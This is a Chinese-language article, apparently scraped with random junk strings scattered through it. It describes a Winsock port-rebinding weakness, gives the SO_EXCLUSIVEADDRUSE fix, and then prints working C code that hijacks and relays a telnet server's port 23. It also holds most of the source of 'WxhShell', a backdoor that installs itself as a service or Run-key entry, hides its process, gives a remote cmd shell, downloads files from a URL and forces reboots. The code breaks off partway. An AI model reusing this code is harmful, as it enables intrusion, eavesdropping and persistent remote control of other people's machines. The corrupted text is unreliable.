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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Wa,[#H s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *8X: fq _g$6vx& saddr.sin_family = AF_INET; {9_CH<$W%U <=^YIp saddr.sin_addr.s_addr = htonl(INADDR_ANY); +4B>gS[ F AR/`]"' bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6ZCt xs! jNrGsIY$ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 j/dNRleab AGPZd9 这意味着什么?意味着可以进行如下的攻击: H }</a%y iMJ jWkk 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %UgyGQeo Y
1LE.{ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) T9N /;3 #{i\t E 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Tw-gM-m; PlTY^N6Hn 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 OW1[Y-o[ Bam7^g'*!3 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 XZIj' a0d y*|"!FK 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Be0P[v (MwB%g 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 OG!^:OY mhT3 Fwc #include b[$l{RQ[? #include bBC3% H^
#include 3ef]3 #include :);GeZ DWORD WINAPI ClientThread(LPVOID lpParam); :|N5fkhN int main() A4 o'EQ?~ { LUw0MW(Moi WORD wVersionRequested; ~{RXc+ DWORD ret; [fO \1J WSADATA wsaData; ?w /tq! BOOL val; =#n|t[h- SOCKADDR_IN saddr; A2*z SOCKADDR_IN scaddr; VT;$:>!+ int err; 0alm/or SOCKET s; p>65(&N, SOCKET sc; >k
kuw?O@ int caddsize; 0.t;i4 HANDLE mt; ~qco -b DWORD tid; Ol D]*=.cO wVersionRequested = MAKEWORD( 2, 2 ); J?u@' "u err = WSAStartup( wVersionRequested, &wsaData ); `?91Cw=` if ( err != 0 ) { vezX/x D? printf("error!WSAStartup failed!\n"); ^5j9WV return -1; !W .ooy5( } m~#98ZJ^ saddr.sin_family = AF_INET; NR^z!+oSR >$?$&+e} //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Z?CmD;W w*\)]bTs saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |HhUU1! saddr.sin_port = htons(23); Lc0^I<Y if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G W|~sE + { ?_}[@x printf("error!socket failed!\n"); MXSPD#gN return -1; bC)diC } "*XR'9~7 val = TRUE; "qR
qEpD% //SO_REUSEADDR选项就是可以实现端口重绑定的 "4oY F:h if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7p@qzE { /wH]OD{ printf("error!setsockopt failed!\n"); W32bBzhL return -1; 1[:?oEI } $iupzVrro //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Jc(tV(z //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 u ; f~ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Z&/bp 1 SA)}---" if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !imm17XQ\ { lLS`Ln)" ret=GetLastError(); 8b[^6]rM printf("error!bind failed!\n"); %Nzg~ZPbmT return -1; ORyFE:p$ } /\_0daUx listen(s,2); oCXBek?\ while(1) >z.o?F { $ R,7#7bG caddsize = sizeof(scaddr); ,eF}` //接受连接请求 PIsMx -i0 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); d^!)',` if(sc!=INVALID_SOCKET) 89k9#i X { [8(e`6xePb mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~4`LOROC
if(mt==NULL) -*M/,O { 'k{pWfn=< printf("Thread Creat Failed!\n"); 8{(;s$H~ break; p\WW~qD } yL7a*C& } 0!eZ&.h?4 CloseHandle(mt); NYm2fFPc } q1.w8$ closesocket(s); y4w{8;Mh WSACleanup(); /P Qz$e-!Y return 0; (kK6=Mrf } #\GWYWkR DWORD WINAPI ClientThread(LPVOID lpParam) a=.A/;|0* { 0x4p!5 SOCKET ss = (SOCKET)lpParam; $*\[I{Zau} SOCKET sc; v\'Eo*4 unsigned char buf[4096]; Pp*|EW 1 SOCKADDR_IN saddr; WIa4!\Ky! long num; 4S`2")V DWORD val; _qR1M):yJ DWORD ret; [x
kbzJ //如果是隐藏端口应用的话,可以在此处加一些判断 #9F=+[L //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 F%UyFUz saddr.sin_family = AF_INET; N~=p+Ow[H saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ts<5%{M( saddr.sin_port = htons(23); C C;T[b& if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n?
e&I>1W { t$m268m~ printf("error!socket failed!\n"); y9cW&rDH return -1; hl(M0cxEWP } Cdin" val = 100; mg;+Th& if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "M3R}<Vt { uosFpa ret = GetLastError(); \25Rq/&w return -1; vSb$gl5H } !iN=py if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4onRO!G, { w4\b^iJz ret = GetLastError(); f R$E*Jd return -1; {0 IEizQ|i } h# c.HtVE if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %AwR 4"M { )hGRq'WA= printf("error!socket connect failed!\n"); wf)T-]e closesocket(sc); F4xYfbwY"] closesocket(ss); R^.E";/h return -1; k|(uIU* ] } lfba while(1) 6",S$3q { T>7$<ulm //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $b,o3eC //如果是嗅探内容的话,可以再此处进行内容分析和记录 dMK|l //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 JS]6jUB<B num = recv(ss,buf,4096,0); /o Q^j'v if(num>0) "CI#2tnL7 send(sc,buf,num,0); %SaC[9=? else if(num==0) J!b
v17H" break; />=)=CGv; num = recv(sc,buf,4096,0); F'^6ra9 if(num>0) hK5BOq!y send(ss,buf,num,0); :s`~m;Y9? else if(num==0) r-&Rjg break; DgQw`D)+ } +F=j1*'& closesocket(ss); `CP#S7W^ closesocket(sc); Z7a~M3VnZ return 0 ; KAVe~j" } `irz'/"p q,w8ca4~y r`Y[XzT9 ========================================================== *8{PoD ByqB4Hv2 下边附上一个代码,,WXhSHELL 'id]<<F puEuv6F ========================================================== iOXxxP%# ^Tgu]t #include "stdafx.h" K: hZ JR>#PJ,N- #include <stdio.h> v[~e=^IIsl #include <string.h> 6g06s @kz #include <windows.h> )!M %clm. #include <winsock2.h> \ <b-I #include <winsvc.h> }i0(^"SoXZ #include <urlmon.h> !A!}j.s JG\T2/b #pragma comment (lib, "Ws2_32.lib") " |ZC2Zu< #pragma comment (lib, "urlmon.lib") |+K3\b Qk 2^p^ T6 #define MAX_USER 100 // 最大客户端连接数 +ExXhT #define BUF_SOCK 200 // sock buffer N.R,[K #define KEY_BUFF 255 // 输入 buffer ?"-%>y@w mux_S2x9m\ #define REBOOT 0 // 重启 nW#UBtZ #define SHUTDOWN 1 // 关机 *-0tj~)> YL*yiZ9 #define DEF_PORT 5000 // 监听端口 4&]Sb} Jm0o[4 #define REG_LEN 16 // 注册表键长度 .hO) R. #define SVC_LEN 80 // NT服务名长度 /E8{:>2 H&Jp,<\x // 从dll定义API 2
u:w typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wtlIyE typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >#~!03 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4B?8$&b typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $3.hZx> av|r^zc // wxhshell配置信息 2wCTd:e: struct WSCFG { kYMKVR int ws_port; // 监听端口 2GB)K?1M char ws_passstr[REG_LEN]; // 口令 /BeA-\B int ws_autoins; // 安装标记, 1=yes 0=no ?5@!r>i=< char ws_regname[REG_LEN]; // 注册表键名 EMK>7 aks char ws_svcname[REG_LEN]; // 服务名 B.
'&[A char ws_svcdisp[SVC_LEN]; // 服务显示名 ^I2+$ char ws_svcdesc[SVC_LEN]; // 服务描述信息 mY!os91KoO char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #2AKO/ int ws_downexe; // 下载执行标记, 1=yes 0=no XL
SYE
char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" W:s`;8iM$ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Fb8~2N"3 wNQhz.>y }; ,n)f=q*% 6jS:_[p // default Wxhshell configuration #Xdj:T<* struct WSCFG wscfg={DEF_PORT, A6-K~z^ "xuhuanlingzhe", M18<d1* 1, L>:YGM"sL "Wxhshell", pHO,][VZ "Wxhshell", pYXusS7S "WxhShell Service", ^&^~LKl~ "Wrsky Windows CmdShell Service", _4~'K? "Please Input Your Password: ", ;.dyuKlI 1, woI.1e5 " http://www.wrsky.com/wxhshell.exe", r5#8Vzr "Wxhshell.exe" vSyR%
j }; YS$42J_T CG!7BP\ // 消息定义模块 '8RBR%)y char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d#l z^Ls2 char *msg_ws_prompt="\n\r? for help\n\r#>"; Ky:y1\K1^K char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; mQ~0cwo) char *msg_ws_ext="\n\rExit."; v>S[}du char *msg_ws_end="\n\rQuit."; VR:4|_o char *msg_ws_boot="\n\rReboot..."; xcf`i:\ char *msg_ws_poff="\n\rShutdown..."; [22>)1<( char *msg_ws_down="\n\rSave to ";
_c:}i\8R G%Dhj)2} char *msg_ws_err="\n\rErr!"; p>9-Ga char *msg_ws_ok="\n\rOK!"; {c|{okQ;Q '#Yqs/V char ExeFile[MAX_PATH]; e#{,M8 int nUser = 0; ?7?hDw_Nk HANDLE handles[MAX_USER]; hzR1O( int OsIsNt; 2^3N[pM; (j>a?dKDS SERVICE_STATUS serviceStatus; XXwe/>J SERVICE_STATUS_HANDLE hServiceStatusHandle; mT:Z!sS TAd~#jB9 // 函数声明 <4{Jm8zJ int Install(void); uC2-T5n' int Uninstall(void); VgBZ@*z(x int DownloadFile(char *sURL, SOCKET wsh); 4xYW?s( int Boot(int flag); Dej_(Dz_S void HideProc(void); 0<^!<i(% int GetOsVer(void); d<,'9/a> int Wxhshell(SOCKET wsl); = ^NTHc^* void TalkWithClient(void *cs); 16pk4f8 int CmdShell(SOCKET sock);
)c;zNs int StartFromService(void); 1\XR6q:2 int StartWxhshell(LPSTR lpCmdLine); >5%;NI5
G >)+-: VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3_5]0:?]- VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZjB]pG+ 2*[Gm e // 数据结构和表定义 $27QY SERVICE_TABLE_ENTRY DispatchTable[] = N?Nu' { }I )%G w {wscfg.ws_svcname, NTServiceMain}, |O!G[|/3 {NULL, NULL} [p:mja.6y }; !Au@\/} Q)lN7oD // 自我安装 mBtXa|PJ int Install(void) |``rSEXYs { L9"yQD^R7? char svExeFile[MAX_PATH]; 1Uy'TEk HKEY key; XCAy _fL<B strcpy(svExeFile,ExeFile); iCZuE:I1K, PKxI09B // 如果是win9x系统,修改注册表设为自启动 YU]|N'mL2 if(!OsIsNt) { ' 5F3,/r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KFuPgp RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O3*}L2j@ RegCloseKey(key); 9P7^*f:E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AJJa<c+j RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P #PRzt RegCloseKey(key); K6BP~@H_D return 0; }M0GPpv } cOa){&u } x 8_nLZ } vB<2f*U else { 8hZYZ /T 7A=*3 // 如果是NT以上系统,安装为系统服务 D\@)*" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X?B\+dq if (schSCManager!=0) ]iq2_{q { ag*5fBF SC_HANDLE schService = CreateService \GP0FdpV ( .{8?eze[m schSCManager, ey/=\@[p wscfg.ws_svcname, 6[k7e!& wscfg.ws_svcdisp, <0h,{28 SERVICE_ALL_ACCESS, {^jRV@ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W{l{O1, SERVICE_AUTO_START, 4^IqHx;bj SERVICE_ERROR_NORMAL, J=`2{
'l svExeFile, H'_ v NULL, nQm
(UN NULL, %s;=H)8 NULL, wV{jJyRl NULL, W|I<hY\X NULL :G8:b. ); ]IM/R@ if (schService!=0) g)**)mz[ { ={k_
(8] CloseServiceHandle(schService); 7W]0bJK+E CloseServiceHandle(schSCManager); tZz *O% strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %8hx3N8> strcat(svExeFile,wscfg.ws_svcname); PJn| if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `D,mZj/b RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }Nc Ed; RegCloseKey(key); $ vt6~nfI return 0;
Sa 8T'%W } K2@],E?e%| } C(J+tbk CloseServiceHandle(schSCManager); xWuvT, ^ } &VdKL2 } QP~Iz*J' E
5N9.th return 1; M/5+AsT } }J0HEpn4 !M(3[(Ni // 自我卸载 {+CBThC int Uninstall(void) "
Z2D@l { Gl]z@ZXWIw HKEY key; .*~t2 : ai$s if(!OsIsNt) { \<kQ::o1y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3[cGSI"+ RegDeleteValue(key,wscfg.ws_regname); u+Sj#iZ RegCloseKey(key); 4SNDKFw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3:mZ1+ RegDeleteValue(key,wscfg.ws_regname);
s*9lYk0 RegCloseKey(key); T/nG\WZbZn return 0; ^o-)y"GJ } D6vhW:t8? } ur|
vh5 } 2SRmh!hr else { l\"wdS} Xwz'h;Ks_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /1z3Q_M if (schSCManager!=0) 0wpGIT!2 { mXK7y.9\ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); iu.$P-s if (schService!=0) =jD9oMs { 8k9q@FSln if(DeleteService(schService)!=0) {
0 ~^l* CloseServiceHandle(schService); <6STw CloseServiceHandle(schSCManager); Dk#4^`qp1 return 0; pdq5EUdS } m;oCi}fL CloseServiceHandle(schService); |rL#HG } O3En+m~3n) CloseServiceHandle(schSCManager); xDO1gnH% } w%uM=YmuT } m2>$)\-; )>r sX) return 1; du>d ? } 2"pFAQBw~i 1`F25DhhY // 从指定url下载文件 #V U>Z|$@N int DownloadFile(char *sURL, SOCKET wsh) 3,dIW*<** {
PE&$2( HRESULT hr; d8N4@3 CkL char seps[]= "/"; N@3&e;y char *token; Tr$37suF char *file; @E%fAC char myURL[MAX_PATH]; -Zfq:Kr char myFILE[MAX_PATH]; `6FH@" |I f=kt0 strcpy(myURL,sURL); B"3uuk8 token=strtok(myURL,seps); 0fAo&B while(token!=NULL) [{-5 { wCw_aXqq file=token; ^<`uyY))Q token=strtok(NULL,seps); Nc\jA= } ;uyQ R8 +Cs.v.GA5 GetCurrentDirectory(MAX_PATH,myFILE); >goG\y strcat(myFILE, "\\"); 7f]O / strcat(myFILE, file); vhz Q.> send(wsh,myFILE,strlen(myFILE),0); %h4|$ send(wsh,"...",3,0); D22jWm2 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); UYkuz if(hr==S_OK) U`kO<ztk return 0; VX,@Gp_' m else Sp./*h\} return 1; "Ax#x p.RSH$] } wY{!gQ 6>F1!Q // 系统电源模块 miEf<<L#z int Boot(int flag) (&oT6Ji { *zl-R*bM$ HANDLE hToken; >fx/TSql:J TOKEN_PRIVILEGES tkp; 9HG" }CGZP l*]nvd_ if(OsIsNt) { 3}x6IM2 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RWdx)qj{ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^KjxQO6y3 tkp.PrivilegeCount = 1; >gZ"^iW tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qLk7C0 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F,h}HlU if(flag==REBOOT) { 2UrE>_ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) XT{o
]S~nq return 0; 41#YtZ } r`A|2(h5B else { 4\iy{1{E,C if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a
@i?E0Fr return 0; O_^
uLp } ^)S<Ha } @X]JMicJ else { Je#vu`.\\ if(flag==REBOOT) { Hr!%L*h? if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) TykY> cl
return 0; drd5oZ } $x;(C[ else { <59G if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^#&PTq> return 0; 2,e>gP\] } !DZ4C. } T~)zgu%q_ +W#["%kw return 1; gbu@& } [WBU_ L]3gHq // win9x进程隐藏模块 #p/'5lA&j void HideProc(void) t[%ELHV { (k24j*1e$ &n9srs HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {IT;g9x if ( hKernel != NULL )
41^
$ { VCc57Bo pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); iuHs.k<z ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V
u1|5 FreeLibrary(hKernel); $##LSTA } YfJQ]tt1 D~r{(u~Ya return; "= >8UR } _2rxDd1#. EQ2HQz] // 获取操作系统版本 v0,&wdi int GetOsVer(void) e|Mw9DIW {
3y]rhB OSVERSIONINFO winfo; cPg$*,] winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7&*d]#&~j GetVersionEx(&winfo); 7U`8W\- if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PLs(+>H return 1; V<0J j else 7!('+x(> return 0; )d7U3i } 4<y|SI! mcLxX'c6<h // 客户端句柄模块 A}z1~Z+ int Wxhshell(SOCKET wsl) oPC
qv { &WHK|bl SOCKET wsh;
!AFii:# struct sockaddr_in client; XDAwE DWORD myID; MB3
N3,yL C.Re*;EI, while(nUser<MAX_USER) AS]jJc^ { D}L4uz? int nSize=sizeof(client); \!!1o+#1j wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
0;:AT|U/d if(wsh==INVALID_SOCKET) return 1; 2hFj+Ay /V
f L( handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }W$}blbp if(handles[nUser]==0) [eZ'h8 closesocket(wsh); q\T}jF\t else , \R,O nUser++; .q_SA-!w> } T(iL#2^ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); axLO: Q, C5&+1VrP return 0; _Rey~]iJJ8 } =qF DrDt Wm>AR? b // 关闭 socket *[0)]|r void CloseIt(SOCKET wsh) Zm#qW2a]P { Y"'k $jS- closesocket(wsh); VDC"tSQ nUser--; {6brVN.V ExitThread(0); 5HMDug;
} jW0aIS2O YV"LM6` // 客户端请求句柄
z+F:_ void TalkWithClient(void *cs) O:Ob{k { w"?E=RS `)_11ywZ SOCKET wsh=(SOCKET)cs; iYl$25k/1 char pwd[SVC_LEN]; @d_;p<\l char cmd[KEY_BUFF]; qwDoYyyu char chr[1]; 62{[)jt{ int i,j; ?%RR+(2m ~.f[K{h8 while (nUser < MAX_USER) { Q2K)Nl >_ 31n|ScXv if(wscfg.ws_passstr) { eKek~U& if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }*3#*y " //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a#i%7mfn //ZeroMemory(pwd,KEY_BUFF); ?*A"#0 i=0; O!.mc=Gx7 while(i<SVC_LEN) { ~AG."<} u@$pOLI // 设置超时 +)QA!g$ fd_set FdRead;
=[G) struct timeval TimeOut; 5"8R|NU:\0 FD_ZERO(&FdRead); p:gM?2p1 FD_SET(wsh,&FdRead); E!v^j=h$u TimeOut.tv_sec=8; ]#Q'~X W TimeOut.tv_usec=0; FAP1Bm int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hV>@qOl
' if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t4CI +fqy &4-rDR, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7z4u?>pne* pwd =chr[0]; J t,7S4JL if(chr[0]==0xd || chr[0]==0xa) { rCFTch" pwd=0; }c-tvK1g break; ?L~Z]+- } Lmw{ `R i++; \~`qE<Q/ } V;SXa|, x8wal[6 // 如果是非法用户,关闭 socket um$ K^ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Afq?Ps+ }
20p/p~< (8/Qt\3jv send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yyVv@ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %Lwd1'C% C>*]a(5k while(1) { kVu-,OU B)`^/^7 ZeroMemory(cmd,KEY_BUFF); &.t|&8- FI|@=l;_ // 自动支持客户端 telnet标准 KV$J*B Y j=0; (6Sf#M while(j<KEY_BUFF) { ^XQr`CqI if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V`z2F'vT cmd[j]=chr[0]; H<6/i@ly if(chr[0]==0xa || chr[0]==0xd) { 1GL@t?S cmd[j]=0; W!G2$e6 break; pr(16P } CF k^(V" j++; N}2xt)JZz } Fl^}tC Y8yRQz u // 下载文件 * 5Y.9g3)Q if(strstr(cmd,"http://")) { KU}HVM{ send(wsh,msg_ws_down,strlen(msg_ws_down),0); Kzd`|+?'`M if(DownloadFile(cmd,wsh)) h7H#sL[^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); M1f^Lx else StuDtY send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \PB ~6 } 044*@a5f else { {%;KkC8=R jW-j+WGSM switch(cmd[0]) { (SlrV8; gB?~!J? // 帮助 {!C ';^ case '?': { boR&'yX send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @#%rTKD9F break; p8q9:Tz } $N#f)8v // 安装 Gv,0{DVX< case 'i': { ]'UO]i/ if(Install()) 2eBA&t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); c=T^)~$$ else o(/(`/ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3e g<) break; $I7/FZP } sgn,]3AUq // 卸载 {&Fh$H! case 'r': { wZECG-jr/ if(Uninstall()) S)0bu(a`Z, send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z Tx~+'( else Y@S?0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RJ_ratKN*g break; <(Wa8PY2( } <M1XG7_I // 显示 wxhshell 所在路径 g&*pk5V> case 'p': { xwj%X%2 char svExeFile[MAX_PATH]; dsP1Zq strcpy(svExeFile,"\n\r"); !(hP{k ^g strcat(svExeFile,ExeFile); cmIAWFj-)e send(wsh,svExeFile,strlen(svExeFile),0); ,Jf)A/_ break; d/G P.d } J(\"\Z // 重启 "b!QE2bRO case 'b': { 3d.JV'C'c send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C'hI{4@P if(Boot(REBOOT)) L30x2\C send(wsh,msg_ws_err,strlen(msg_ws_err),0); KsGS s9 else { K'%,dn closesocket(wsh); "9-duDg ExitThread(0); .6[xX?i^T } =>hq0F4[; break; WG;1[o& } j}chU'if // 关机 ^ZFbp@#U case 'd': { ~4wbIE_rN send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PiZt?r?5w| if(Boot(SHUTDOWN)) hgE!)UE send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1WPDMLuN else { :XMw="u= closesocket(wsh); <v"C`cga ExitThread(0); Wx&AY"J
} p1HU2APFP break; 1V?}";T } 'f<0&Ci8 // 获取shell 8 F'i5i case 's': { k3[
~I' CmdShell(wsh); Ou;
]>FJ closesocket(wsh); _VR Sdr5 ExitThread(0); !GMb~ break; n]x4twZ } 2F3IC // 退出 Mz<4P3"H case 'x': { mj<(qZh send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {W}.z CloseIt(wsh); "JSg/optc break; 7g5sJj } +V&b<y;?> // 离开 +|Q8P?YD_ case 'q': { /40Z-'Bl=( send(wsh,msg_ws_end,strlen(msg_ws_end),0); W;,.OoDc> closesocket(wsh); A0M)*9 f WSACleanup(); xkOyj`IS
exit(1); o:#MP(h,N break; /MSz{ %v } {t[j>_MYw } ?N#mD } !a3cEzs3 ]}F_nc2L // 提示信息 Tn/
3`j
{ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K3?7Hndf2 } QQ97BP7W } Qg?^%O' E'$r#k:o return; #HB]qa } !5 %c`4 _p7c<$; // shell模块句柄 p[&'*"o!/ int CmdShell(SOCKET sock) IQdiVj { GFx>xQk STARTUPINFO si; v 4(!~S ZeroMemory(&si,sizeof(si)); Gw3|"14 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Te2XQU2,F si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Rs8`M8(4% PROCESS_INFORMATION ProcessInfo; D(}v`q{Y char cmdline[]="cmd"; npz*4\4 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); suaTXKjyk+ return 0; S8<O$^L^ } R{@WlkG} hti)<#f // 自身启动模式 "VkraB.i int StartFromService(void) I2%{6g@ { LKxyj@Eq typedef struct zF(I#|Vo { s9qr;}U.` DWORD ExitStatus; rjQV;kX> DWORD PebBaseAddress; &~G>pvZ DWORD AffinityMask; \x)T_]Gcm DWORD BasePriority; zXvAW7 ULONG UniqueProcessId; {DBgW}, ULONG InheritedFromUniqueProcessId; .5|wy< } PROCESS_BASIC_INFORMATION; E@R7b(:* HlPf PROCNTQSIP NtQueryInformationProcess; Kw&J<H 'wLQ9o%=p| static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^{-J Y static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +QuaQ% lA P$Xig HANDLE hProcess; Am!$\T%2 PROCESS_BASIC_INFORMATION pbi; &BCl>^wn} c&AA< 6pkv HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O|#^ &d if(NULL == hInst ) return 0; )fpZrpLXE hPx=3L$ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); : UD<1fh g_pGetModuleBaseName = 